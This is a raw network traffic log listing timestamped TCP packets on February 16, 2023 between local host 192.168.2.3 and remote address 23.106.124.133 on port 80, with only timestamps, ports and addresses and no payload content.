Feb 16, 2023 13:57:19.524482012 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524491072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524518013 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524542093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524557114 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524563074 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524575949 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524585962 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524607897 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524627924 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524631977 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524646997 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524669886 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524684906 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524693012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524708033 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524713993 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524738073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524756908 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524763107 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524776936 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524794102 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524797916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524817944 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524837017 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524861097 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524878979 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524883032 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524908066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524923086 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.524928093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524949074 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524971008 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524991989 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.524993896 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525011063 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525022984 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525034904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525046110 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525055885 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525075912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525098085 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525098085 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525118113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525135040 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525141001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525166035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525185108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525203943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525209904 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525228024 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525250912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525255919 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525271893 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525281906 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525290966 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525311947 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525322914 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525336027 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525357008 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525358915 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525377035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525396109 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525398970 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525420904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525443077 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525461912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525463104 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525484085 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525494099 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525504112 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525516987 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525523901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525543928 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525561094 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525563002 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525583982 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525604010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525626898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525650024 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525656939 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525671959 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525691032 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525707960 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525711060 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525731087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525744915 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525753975 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525763035 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525775909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525794983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525814056 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525831938 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525831938 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525855064 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525862932 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525875092 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525888920 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525893927 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525918961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525935888 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.525938988 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525960922 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.525984049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526004076 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526010036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526024103 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526043892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526046991 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526067972 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526073933 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526089907 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526106119 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526109934 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526134014 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526154041 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526158094 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526180983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526189089 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526205063 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526225090 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526248932 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526271105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526271105 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526293039 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526304007 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526313066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526334047 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526335001 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526352882 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526377916 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526379108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526406050 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526417971 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526428938 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526448011 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526468039 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526484966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526489019 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526513100 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526524067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526535034 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526559114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526561975 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526581049 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526602030 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526623964 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526647091 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526667118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526676893 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526700974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526722908 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526731968 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526742935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526761055 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526767969 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526788950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526796103 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526810884 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526832104 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526834011 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526858091 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526878119 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526884079 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526901007 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526916981 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.526925087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526945114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526962996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.526984930 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527007103 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527014971 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527026892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527046919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527055979 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527066946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527082920 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527087927 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527107954 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527126074 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527133942 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527146101 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527165890 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527173042 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527192116 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527204037 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527218103 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527240038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527266979 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527292967 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527296066 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527323008 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527335882 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527348995 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527365923 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527374983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527404070 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527426958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527430058 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527451038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527468920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527487040 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527508974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527518034 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527530909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527550936 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527559996 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527576923 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527587891 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527596951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527620077 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527641058 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527642012 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527662039 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527681112 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527682066 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527702093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527715921 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527723074 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527746916 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527766943 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527786016 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527786970 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527806997 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527821064 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527831078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527848005 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527853966 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527873993 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527892113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527895927 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527915001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527932882 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527937889 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527960062 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.527982950 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.527982950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528007030 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528019905 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528026104 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528047085 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528064966 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528083086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528089046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528103113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528121948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528130054 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528141022 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528158903 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528163910 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528184891 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528184891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528209925 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528233051 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528240919 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528254986 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528274059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528275013 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528295040 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528310061 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528316021 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528338909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528362036 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528381109 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528384924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528400898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528420925 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528424978 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528448105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528449059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528469086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528487921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528491020 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528508902 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528522015 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528532982 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528552055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528570890 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528573036 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528594971 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528614998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528633118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528634071 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528656006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528661966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528676987 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528696060 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528697968 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528716087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528729916 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528736115 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528759956 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528774977 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528779984 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528800964 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528822899 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528837919 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528845072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528865099 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528871059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528884888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528902054 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528903961 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528924942 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528935909 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528943062 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528966904 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.528980970 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.528989077 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529014111 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529032946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529046059 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529052019 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529072046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529073954 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529098988 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529118061 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529126883 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529140949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529150963 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529166937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529206038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529213905 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529264927 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529292107 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529311895 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529313087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529333115 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529351950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529360056 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529372931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529385090 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529396057 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529414892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529434919 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529452085 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529459000 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529479027 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:19.529483080 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:19.529500008 CET	80	49687	23.106.124.133	192.168.2.3
